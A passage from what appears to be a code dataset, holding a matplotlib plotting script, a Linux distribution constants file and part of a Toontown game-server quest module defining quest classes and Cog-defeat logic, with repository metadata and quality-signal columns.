hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
e0904c84ee904315d55143dabed45b6f1aefd967
712
py
Python
Software/helperScripts/plotgrid.py
hrch3n/cNMA
32bfffc707487fa0964543d17b1fe89f089e09d5
[ "MIT" ]
3
2021-02-09T02:32:33.000Z
2021-09-14T22:18:26.000Z
Software/helperScripts/plotgrid.py
hrch3n/cNMA
32bfffc707487fa0964543d17b1fe89f089e09d5
[ "MIT" ]
1
2018-03-09T19:28:42.000Z
2018-03-30T20:08:50.000Z
Software/helperScripts/plotgrid.py
hrch3n/cNMA
32bfffc707487fa0964543d17b1fe89f089e09d5
[ "MIT" ]
6
2018-12-05T14:49:26.000Z
2019-11-07T03:44:18.000Z
import matplotlib.pyplot as plt import numpy as np # make these smaller to increase the resolution dx, dy = 2.0, 2.0 # generate 2 2d grids for the x & y bounds y, x = np.mgrid[slice(-3, 3 + dy, dy), slice(-3, 3 + dx, dx)] z = (1 - x / 2. + x ** 5 + y ** 3) * np.exp(-x ** 2 - y ** 2) # x and y are bounds, so z should be the value *inside* those bounds. # Therefore, remove the last value from the z array. z = z[:-1, :-1] z_min, z_max = -np.abs(z).max(), np.abs(z).max() print x print y print z plt.subplot(2, 2, 1) plt.pcolormesh(x, y, z) plt.title('pcolor') # set the limits of the plot to the limits of the data #plt.axis([x.min(), x.max(), y.min(), y.max()]) #plt.colorbar() plt.show()
25.428571
69
0.606742
143
712
3.006993
0.426573
0.027907
0.032558
0.04186
0.051163
0.051163
0
0
0
0
0
0.037702
0.217697
712
28
70
25.428571
0.734291
0.446629
0
0
1
0
0.015504
0
0
0
0
0
0
0
null
null
0
0.133333
null
null
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
e0ab868a8affce112558b4ecdb2d5cdb7b7a66a6
76
py
Python
src/scanner/const/linux/linux_id.py
alex-dya/security_scanner
7aeb6af863ccdbf6c066d52446318aaf898afe7b
[ "MIT" ]
null
null
null
src/scanner/const/linux/linux_id.py
alex-dya/security_scanner
7aeb6af863ccdbf6c066d52446318aaf898afe7b
[ "MIT" ]
7
2021-05-28T14:31:27.000Z
2022-03-12T00:57:40.000Z
src/scanner/const/linux/linux_id.py
alex-dya/security_scanner
7aeb6af863ccdbf6c066d52446318aaf898afe7b
[ "MIT" ]
1
2021-05-15T12:18:49.000Z
2021-05-15T12:18:49.000Z
DEBIAN = 'debian' CENTOS = 'centos' OPENSUSE = 'opensuse' UBUNTU = 'ubuntu'
15.2
21
0.684211
8
76
6.5
0.5
0
0
0
0
0
0
0
0
0
0
0
0.157895
76
4
22
19
0.8125
0
0
0
0
0
0.342105
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e0bd5fe4ec55151f4c5e338eb461b13cd5191d66
408,690
py
Python
toontown/quest/Quests.py
philicheese2003/ToontownProjectAltisServer
cfa225d1bdddacdbd29b621382347fce17e1dc66
[ "Apache-2.0" ]
3
2020-01-02T08:43:36.000Z
2020-07-05T08:59:02.000Z
toontown/quest/Quests.py
philicheese2003/ToontownProjectAltisServer
cfa225d1bdddacdbd29b621382347fce17e1dc66
[ "Apache-2.0" ]
null
null
null
toontown/quest/Quests.py
philicheese2003/ToontownProjectAltisServer
cfa225d1bdddacdbd29b621382347fce17e1dc66
[ "Apache-2.0" ]
1
2020-03-11T17:38:45.000Z
2020-03-11T17:38:45.000Z
from otp.otpbase import OTPGlobals from toontown.toonbase import ToontownBattleGlobals from toontown.toonbase import ToontownGlobals from toontown.battle import SuitBattleGlobals from toontown.coghq import CogDisguiseGlobals import random from toontown.toon import NPCToons import copy, string from toontown.hood import ZoneUtil from direct.directnotify import DirectNotifyGlobal from toontown.toonbase import TTLocalizer from toontown.toonbase import ToonPythonUtil as PythonUtil import time, types, random notify = DirectNotifyGlobal.directNotify.newCategory('Quests') ItemDict = TTLocalizer.QuestsItemDict CompleteString = TTLocalizer.QuestsCompleteString NotChosenString = TTLocalizer.QuestsNotChosenString DefaultGreeting = TTLocalizer.QuestsDefaultGreeting DefaultIncomplete = TTLocalizer.QuestsDefaultIncomplete DefaultIncompleteProgress = TTLocalizer.QuestsDefaultIncompleteProgress DefaultIncompleteWrongNPC = TTLocalizer.QuestsDefaultIncompleteWrongNPC DefaultComplete = TTLocalizer.QuestsDefaultComplete DefaultLeaving = TTLocalizer.QuestsDefaultLeaving DefaultReject = TTLocalizer.QuestsDefaultReject DefaultTierNotDone = TTLocalizer.QuestsDefaultTierNotDone DefaultQuest = TTLocalizer.QuestsDefaultQuest DefaultVisitQuestDialog = TTLocalizer.QuestsDefaultVisitQuestDialog GREETING = 0 QUEST = 1 INCOMPLETE = 2 INCOMPLETE_PROGRESS = 3 INCOMPLETE_WRONG_NPC = 4 COMPLETE = 5 LEAVING = 6 Any = 1 OBSOLETE = 'OBSOLETE' Start = 1 Cont = 0 Anywhere = 1 NA = 2 Same = 3 AnyFish = 4 AnyCashbotSuitPart = 5 AnyLawbotSuitPart = 6 AnyBossbotSuitPart = 7 ToonTailor = 999 ToonHQ = 1000 QuestDictTierIndex = 0 QuestDictStartIndex = 1 QuestDictDescIndex = 2 QuestDictFromNpcIndex = 3 QuestDictToNpcIndex = 4 QuestDictRewardIndex = 5 QuestDictNextQuestIndex = 6 QuestDictDialogIndex = 7 QuestDictExperienceIndex = 8 VeryEasy = 100 ModeratelyEasy = 80 Easy = 75 Medium = 50 Hard = 25 VeryHard = 20 TT_TIER = 0 DD_TIER = 4 DG_TIER = 7 MM_TIER = 10 BR_TIER = 11 DL_TIER = 14 FINAL_TIER = 18 ELDER_TIER = 19 LOOPING_FINAL_TIER = 19 VISIT_QUEST_ID = 1000 TROLLEY_QUEST_ID = 110 FIRST_COG_QUEST_ID = 145 NEWBIE_HP = 25 SELLBOT_HQ_NEWBIE_HP = 50 CASHBOT_HQ_NEWBIE_HP = 85 from toontown.toonbase.ToontownGlobals import FT_FullSuit, FT_Leg, FT_Arm, FT_Torso QuestRandGen = random.Random() def seedRandomGen(npcId, avId, tier, rewardHistory): QuestRandGen.seed(npcId * 100 + avId + tier + len(rewardHistory)) def seededRandomChoice(seq): return QuestRandGen.choice(seq) def getCompleteStatusWithNpc(questComplete, toNpcId, npc): if questComplete: if npc: if npcMatches(toNpcId, npc): return COMPLETE else: return INCOMPLETE_WRONG_NPC else: return COMPLETE elif npc: if npcMatches(toNpcId, npc): return INCOMPLETE_PROGRESS else: return INCOMPLETE else: return INCOMPLETE def npcMatches(toNpcId, npc): return toNpcId == npc.getNpcId() or toNpcId == Any or toNpcId == ToonHQ and npc.getHq() or toNpcId == ToonTailor and npc.getTailor() def calcRecoverChance(numberNotDone, baseChance, cap = 1): chance = baseChance avgNum2Kill = 1.0 / (chance / 100.0) if numberNotDone >= avgNum2Kill * 1.5 and cap: chance = 1000 elif numberNotDone > avgNum2Kill * 0.5: diff = float(numberNotDone - avgNum2Kill * 0.5) luck = 1.0 + abs(diff / (avgNum2Kill * 0.5)) chance *= luck return chance def simulateRecoveryVar(numNeeded, baseChance, list = 0, cap = 1): numHave = 0 numTries = 0 greatestFailChain = 0 currentFail = 0 capHits = 0 attemptList = {} while numHave < numNeeded: numTries += 1 chance = calcRecoverChance(currentFail, baseChance, cap) test = random.random() * 100 if chance == 1000: capHits += 1 if test < chance: numHave += 1 if currentFail > greatestFailChain: greatestFailChain = currentFail if attemptList.get(currentFail): attemptList[currentFail] += 1 else: attemptList[currentFail] = 1 currentFail = 0 else: currentFail += 1 print 'Test results: %s tries, %s longest failure chain, %s cap hits' % (numTries, greatestFailChain, capHits) if list: print 'failures for each succes %s' % attemptList def simulateRecoveryFix(numNeeded, baseChance, list = 0): numHave = 0 numTries = 0 greatestFailChain = 0 currentFail = 0 attemptList = {} while numHave < numNeeded: numTries += 1 chance = baseChance test = random.random() * 100 if test < chance: numHave += 1 if currentFail > greatestFailChain: greatestFailChain = currentFail if attemptList.get(currentFail): attemptList[currentFail] += 1 else: attemptList[currentFail] = 1 currentFail = 0 else: currentFail += 1 print 'Test results: %s tries, %s longest failure chain' % (numTries, greatestFailChain) if list: print 'failures for each succes %s' % attemptList class Quest: _cogTracks = [Any, 'c', 'l', 'm', 's', 'g'] _factoryTypes = [Any, FT_FullSuit, FT_Leg, FT_Arm, FT_Torso] def check(self, cond, msg): pass def checkLocation(self, location): locations = [Anywhere] + TTLocalizer.GlobalStreetNames.keys() self.check(location in locations, 'invalid location: %s' % location) def checkNumCogs(self, num): self.check(1, 'invalid number of cogs: %s' % num) def checkNewbieLevel(self, level): self.check(1, 'invalid newbie level: %s' % level) def checkCogType(self, type): types = [Any] + SuitBattleGlobals.SuitAttributes.keys() self.check(type in types, 'invalid cog type: %s' % type) def checkCogTrack(self, track): self.check(track in self._cogTracks, 'invalid cog track: %s' % track) def checkCogLevel(self, level): self.check(level >= 1 and level <= 12, 'invalid cog level: %s' % level) def checkNumSkelecogs(self, num): self.check(1, 'invalid number of cogs: %s' % num) def checkSkelecogTrack(self, track): self.check(track in self._cogTracks, 'invalid cog track: %s' % track) def checkSkelecogLevel(self, level): self.check(level >= 1 and level <= 12, 'invalid cog level: %s' % level) def checkNumSkeleRevives(self, num): self.check(1, 'invalid number of cogs: %s' % num) def checkNumForemen(self, num): self.check(num > 0, 'invalid number of foremen: %s' % num) def checkNumVPs(self, num): self.check(num > 0, 'invalid number of VPs: %s' % num) def checkNumSupervisors(self, num): self.check(num > 0, 'invalid number of supervisors: %s' % num) def checkNumCFOs(self, num): self.check(num > 0, 'invalid number of CFOs: %s' % num) def checkNumCJs(self, num): self.check(num > 0, 'invalid number of CJs: %s' % num) def checkNumCEOs(self, num): self.check(num > 0, 'invalid number of CEOs: %s' % num) def checkNumBuildings(self, num): self.check(1, 'invalid num buildings: %s' % num) def checkBuildingTrack(self, track): self.check(track in self._cogTracks, 'invalid building track: %s' % track) def checkBuildingFloors(self, floors): self.check(floors >= 1 and floors <= 6, 'invalid num floors: %s' % floors) def checkNumCogdos(self, num): self.check(1, 'invalid num buildings: %s' % num) def checkCogdoTrack(self, track): self.check(track in self._cogTracks, 'invalid building track: %s' % track) def checkNumFactories(self, num): self.check(1, 'invalid num factories: %s' % num) def checkFactoryType(self, type): self.check(type in self._factoryTypes, 'invalid factory type: %s' % type) def checkNumMints(self, num): self.check(1, 'invalid num mints: %s' % num) def checkNumStages(self, num): self.check(1, 'invalid num mints: %s' % num) def checkNumClubs(self, num): self.check(1, 'invalid num mints: %s' % num) def checkNumCogParts(self, num): self.check(1, 'invalid num cog parts: %s' % num) def checkNumGags(self, num): self.check(1, 'invalid num gags: %s' % num) def checkGagTrack(self, track): self.check(track >= ToontownBattleGlobals.MIN_TRACK_INDEX and track <= ToontownBattleGlobals.MAX_TRACK_INDEX, 'invalid gag track: %s' % track) def checkGagItem(self, item): self.check(item >= ToontownBattleGlobals.MIN_LEVEL_INDEX and item <= ToontownBattleGlobals.MAX_LEVEL_INDEX, 'invalid gag item: %s' % item) def checkDeliveryItem(self, item): self.check(ItemDict.has_key(item), 'invalid delivery item: %s' % item) def checkNumItems(self, num): self.check(1, 'invalid num items: %s' % num) def checkRecoveryItem(self, item): self.check(ItemDict.has_key(item), 'invalid recovery item: %s' % item) def checkPercentChance(self, chance): self.check(chance > 0 and chance <= 100, 'invalid percent chance: %s' % chance) def checkRecoveryItemHolderAndType(self, holder, holderType = 'type'): holderTypes = ['type', 'level', 'track'] self.check(holderType in holderTypes, 'invalid recovery item holderType: %s' % holderType) if holderType == 'type': holders = [Any, AnyFish] + SuitBattleGlobals.SuitAttributes.keys() self.check(holder in holders, 'invalid recovery item holder: %s for holderType: %s' % (holder, holderType)) elif holderType == 'level': pass elif holderType == 'track': self.check(holder in self._cogTracks, 'invalid recovery item holder: %s for holderType: %s' % (holder, holderType)) def checkTrackChoice(self, option): self.check(option >= ToontownBattleGlobals.MIN_TRACK_INDEX and option <= ToontownBattleGlobals.MAX_TRACK_INDEX, 'invalid track option: %s' % option) def checkNumFriends(self, num): self.check(1, 'invalid number of friends: %s' % num) def checkNumMinigames(self, num): self.check(1, 'invalid number of minigames: %s' % num) def filterFunc(avatar): return 1 filterFunc = staticmethod(filterFunc) def __init__(self, id, quest): self.id = id self.quest = quest def getId(self): return self.id def getType(self): return self.__class__ def getObjectiveStrings(self): return [''] def getString(self): return self.getObjectiveStrings()[0] def getRewardString(self, progressString): return self.getString() + ' : ' + progressString def getChooseString(self): return self.getString() def getPosterString(self): return self.getString() def getHeadlineString(self): return self.getString() def getDefaultQuestDialog(self): return self.getString() + TTLocalizer.Period def getNumQuestItems(self): return -1 def addArticle(self, num, oString): if len(oString) == 0: return oString if num == 1: return oString else: return '%d %s' % (num, oString) def __repr__(self): return 'Quest type: %s id: %s params: %s' % (self.__class__.__name__, self.id, self.quest[0:]) def doesCogCount(self, avId, cogDict, zoneId, avList): return 0 def doesVPCount(self, avId, cogDict, zoneId, avList): return 0 def doesCFOCount(self, avId, cogDict, zoneId, avList): return 0 def doesFactoryCount(self, avId, location, avList): return 0 def doesMintCount(self, avId, location, avList): return 0 def doesCogPartCount(self, avId, location, avList): return 0 def getCompletionStatus(self, av, questDesc, npc = None): notify.error('Pure virtual - please override me') return None class LocationBasedQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) self.checkLocation(self.quest[0]) def getLocation(self): return self.quest[0] def getLocationName(self): loc = self.getLocation() if loc == Anywhere: locName = '' elif loc in ToontownGlobals.hoodNameMap: locName = TTLocalizer.QuestInLocationString % {'inPhrase': ToontownGlobals.hoodNameMap[loc][1], 'location': ToontownGlobals.hoodNameMap[loc][-1] + TTLocalizer.QuestsLocationArticle} elif loc in ToontownGlobals.StreetBranchZones: locName = TTLocalizer.QuestInLocationString % {'inPhrase': ToontownGlobals.StreetNames[loc][1], 'location': ToontownGlobals.StreetNames[loc][-1] + TTLocalizer.QuestsLocationArticle} return locName def isLocationMatch(self, zoneId): loc = self.getLocation() if loc is Anywhere: return 1 if ZoneUtil.isPlayground(loc): if loc == ZoneUtil.getCanonicalHoodId(zoneId): return 1 else: return 0 elif loc == ZoneUtil.getCanonicalBranchZone(zoneId): return 1 elif loc == zoneId: return 1 else: return 0 def getChooseString(self): return TTLocalizer.QuestsLocationString % {'string': self.getString(), 'location': self.getLocationName()} def getPosterString(self): return TTLocalizer.QuestsLocationString % {'string': self.getString(), 'location': self.getLocationName()} def getDefaultQuestDialog(self): return (TTLocalizer.QuestsLocationString + TTLocalizer.Period) % {'string': self.getString(), 'location': self.getLocationName()} class NewbieQuest: def getNewbieLevel(self): notify.error('Pure virtual - please override me') def getString(self, newStr = TTLocalizer.QuestsCogNewNewbieQuestObjective, oldStr = TTLocalizer.QuestsCogOldNewbieQuestObjective): laff = self.getNewbieLevel() if laff <= NEWBIE_HP: return newStr % self.getObjectiveStrings()[0] else: return oldStr % {'laffPoints': laff, 'objective': self.getObjectiveStrings()[0]} def getCaption(self): laff = self.getNewbieLevel() if laff <= NEWBIE_HP: return TTLocalizer.QuestsCogNewNewbieQuestCaption % laff else: return TTLocalizer.QuestsCogOldNewbieQuestCaption % laff def getNumNewbies(self, avId, avList): newbieHp = self.getNewbieLevel() num = 0 for av in avList: if av != avId and av.getMaxHp() <= newbieHp: num += 1 return num class CogQuest(LocationBasedQuest): def __init__(self, id, quest): LocationBasedQuest.__init__(self, id, quest) if self.__class__ == CogQuest: self.checkNumCogs(self.quest[1]) self.checkCogType(self.quest[2]) def getCogType(self): return self.quest[2] def getNumQuestItems(self): return self.getNumCogs() def getNumCogs(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumCogs() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumCogs() == 1: return '' else: return TTLocalizer.QuestsCogQuestProgress % {'progress': questDesc[4], 'numCogs': self.getNumCogs()} def getCogNameString(self): numCogs = self.getNumCogs() cogType = self.getCogType() if numCogs == 1: if cogType == Any: return TTLocalizer.Cog else: return SuitBattleGlobals.SuitAttributes[cogType]['singularname'] elif cogType == Any: return TTLocalizer.Cogs else: return SuitBattleGlobals.SuitAttributes[cogType]['pluralname'] def getObjectiveStrings(self): cogName = self.getCogNameString() numCogs = self.getNumCogs() if numCogs == 1: text = cogName else: text = TTLocalizer.QuestsCogQuestDefeatDesc % {'numCogs': numCogs, 'cogName': cogName} return (text,) def getString(self): return TTLocalizer.QuestsCogQuestDefeat % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumCogs(): return getFinishToonTaskSCStrings(toNpcId) cogName = self.getCogNameString() numCogs = self.getNumCogs() if numCogs == 1: text = TTLocalizer.QuestsCogQuestSCStringS else: text = TTLocalizer.QuestsCogQuestSCStringP cogLoc = self.getLocationName() return text % {'cogName': cogName, 'cogLoc': cogLoc} def getHeadlineString(self): return TTLocalizer.QuestsCogQuestHeadline def doesCogCount(self, avId, cogDict, zoneId, avList): questCogType = self.getCogType() return (questCogType is Any or questCogType is cogDict['type']) and avId in cogDict['activeToons'] and self.isLocationMatch(zoneId) class CogNewbieQuest(CogQuest, NewbieQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) if self.__class__ == CogNewbieQuest: self.checkNumCogs(self.quest[1]) self.checkCogType(self.quest[2]) self.checkNewbieLevel(self.quest[3]) def getNewbieLevel(self): return self.quest[3] def getString(self): return NewbieQuest.getString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): if CogQuest.doesCogCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class CogTrackQuest(CogQuest): trackCodes = ['c', 'l', 'm', 's', 'g'] trackNamesS = [TTLocalizer.BossbotS, TTLocalizer.LawbotS, TTLocalizer.CashbotS, TTLocalizer.SellbotS, TTLocalizer.BoardbotS] trackNamesP = [TTLocalizer.BossbotP, TTLocalizer.LawbotP, TTLocalizer.CashbotP, TTLocalizer.SellbotP, TTLocalizer.BoardbotP] def __init__(self, id, quest): CogQuest.__init__(self, id, quest) if self.__class__ == CogTrackQuest: self.checkNumCogs(self.quest[1]) self.checkCogTrack(self.quest[2]) def getCogTrack(self): return self.quest[2] def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumCogs() == 1: return '' else: return TTLocalizer.QuestsCogTrackQuestProgress % {'progress': questDesc[4], 'numCogs': self.getNumCogs()} def getObjectiveStrings(self): numCogs = self.getNumCogs() track = self.trackCodes.index(self.getCogTrack()) if numCogs == 1: text = self.trackNamesS[track] else: text = TTLocalizer.QuestsCogTrackDefeatDesc % {'numCogs': numCogs, 'trackName': self.trackNamesP[track]} return (text,) def getString(self): return TTLocalizer.QuestsCogTrackQuestDefeat % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumCogs(): return getFinishToonTaskSCStrings(toNpcId) numCogs = self.getNumCogs() track = self.trackCodes.index(self.getCogTrack()) if numCogs == 1: cogText = self.trackNamesS[track] text = TTLocalizer.QuestsCogTrackQuestSCStringS else: cogText = self.trackNamesP[track] text = TTLocalizer.QuestsCogTrackQuestSCStringP cogLocName = self.getLocationName() return text % {'cogText': cogText, 'cogLoc': cogLocName} def getHeadlineString(self): return TTLocalizer.QuestsCogTrackQuestHeadline def doesCogCount(self, avId, cogDict, zoneId, avList): questCogTrack = self.getCogTrack() return questCogTrack == cogDict['track'] and avId in cogDict['activeToons'] and self.isLocationMatch(zoneId) class CogLevelQuest(CogQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumCogs(self.quest[1]) self.checkCogLevel(self.quest[2]) def getCogType(self): return Any def getCogLevel(self): return self.quest[2] def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumCogs() == 1: return '' else: return TTLocalizer.QuestsCogLevelQuestProgress % {'progress': questDesc[4], 'numCogs': self.getNumCogs()} def getObjectiveStrings(self): count = self.getNumCogs() level = self.getCogLevel() name = self.getCogNameString() if count == 1: text = TTLocalizer.QuestsCogLevelQuestDesc else: text = TTLocalizer.QuestsCogLevelQuestDescC return (text % {'count': count, 'level': level, 'name': name},) def getString(self): return TTLocalizer.QuestsCogLevelQuestDefeat % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumCogs(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumCogs() level = self.getCogLevel() name = self.getCogNameString() if count == 1: text = TTLocalizer.QuestsCogLevelQuestDesc else: text = TTLocalizer.QuestsCogLevelQuestDescI objective = text % {'level': level, 'name': name} location = self.getLocationName() return TTLocalizer.QuestsCogLevelQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsCogLevelQuestHeadline def doesCogCount(self, avId, cogDict, zoneId, avList): questCogLevel = self.getCogLevel() return questCogLevel <= cogDict['level'] and avId in cogDict['activeToons'] and self.isLocationMatch(zoneId) class CogTrackLevelQuest(CogQuest): trackCodes = ['c', 'l', 'm', 's', 'g'] trackNamesS = [TTLocalizer.BossbotS, TTLocalizer.LawbotS, TTLocalizer.CashbotS, TTLocalizer.SellbotS, TTLocalizer.BoardbotS] trackNamesP = [TTLocalizer.BossbotP, TTLocalizer.LawbotP, TTLocalizer.CashbotP, TTLocalizer.SellbotP, TTLocalizer.BoardbotP] def __init__(self, id, quest): CogQuest.__init__(self, id, quest) if self.__class__ == CogTrackQuest: self.checkNumCogs(self.quest[1]) self.checkCogTrack(self.quest[2]) self.checkCogLevel(self.quest[3]) def getCogTrack(self): return self.quest[2] def getCogLevel(self): return self.quest[3] def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumCogs() == 1: return '' else: return TTLocalizer.QuestsCogTrackQuestProgress % {'progress': questDesc[4], 'numCogs': self.getNumCogs()} def getObjectiveStrings(self): numCogs = self.getNumCogs() level = self.getCogLevel() track = self.trackCodes.index(self.getCogTrack()) if numCogs == 1: text = TTLocalizer.QuestsCogLevelQuestDesc % {'level': level, 'name': self.trackNamesS[track]} else: text = TTLocalizer.QuestsCogLevelQuestDescC % {'count': numCogs, 'level': level, 'name': self.trackNamesP[track]} return (text,) def getString(self): return TTLocalizer.QuestsCogLevelQuestDefeat % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumCogs(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumCogs() level = self.getCogLevel() track = self.trackCodes.index(self.getCogTrack()) if count == 1: text = TTLocalizer.QuestsCogLevelQuestDesc else: text = TTLocalizer.QuestsCogLevelQuestDescI objective = text % {'level': level, 'name': self.trackNamesP[track]} location = self.getLocationName() return TTLocalizer.QuestsCogLevelQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsCogTrackQuestHeadline def doesCogCount(self, avId, cogDict, zoneId): questCogTrack = self.getCogTrack() questCogLevel = self.getCogLevel() return questCogTrack == cogDict['track'] and questCogLevel <= cogDict['level'] and avId in cogDict['activeToons'] and self.isLocationMatch(zoneId) class SkelecogQBase: def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.ASkeleton else: return TTLocalizer.SkeletonP def doesCogCount(self, avId, cogDict, zoneId, avList): return cogDict['isSkelecog'] and avId in cogDict['activeToons'] and self.isLocationMatch(zoneId) class SkelecogQuest(CogQuest, SkelecogQBase): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumSkelecogs(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): return SkelecogQBase.getCogNameString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): return SkelecogQBase.doesCogCount(self, avId, cogDict, zoneId, avList) class SkelecogNewbieQuest(SkelecogQuest, NewbieQuest): def __init__(self, id, quest): SkelecogQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): if SkelecogQuest.doesCogCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class SkelecogTrackQuest(CogTrackQuest, SkelecogQBase): trackNamesS = [TTLocalizer.BossbotSkelS, TTLocalizer.LawbotSkelS, TTLocalizer.CashbotSkelS, TTLocalizer.SellbotSkelS, TTLocalizer.BoardbotSkelS] trackNamesP = [TTLocalizer.BossbotSkelP, TTLocalizer.LawbotSkelP, TTLocalizer.CashbotSkelP, TTLocalizer.SellbotSkelP, TTLocalizer.BoardbotSkelP] def __init__(self, id, quest): CogTrackQuest.__init__(self, id, quest) self.checkNumSkelecogs(self.quest[1]) self.checkSkelecogTrack(self.quest[2]) def getCogNameString(self): return SkelecogQBase.getCogNameString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): return SkelecogQBase.doesCogCount(self, avId, cogDict, zoneId, avList) and self.getCogTrack() == cogDict['track'] class 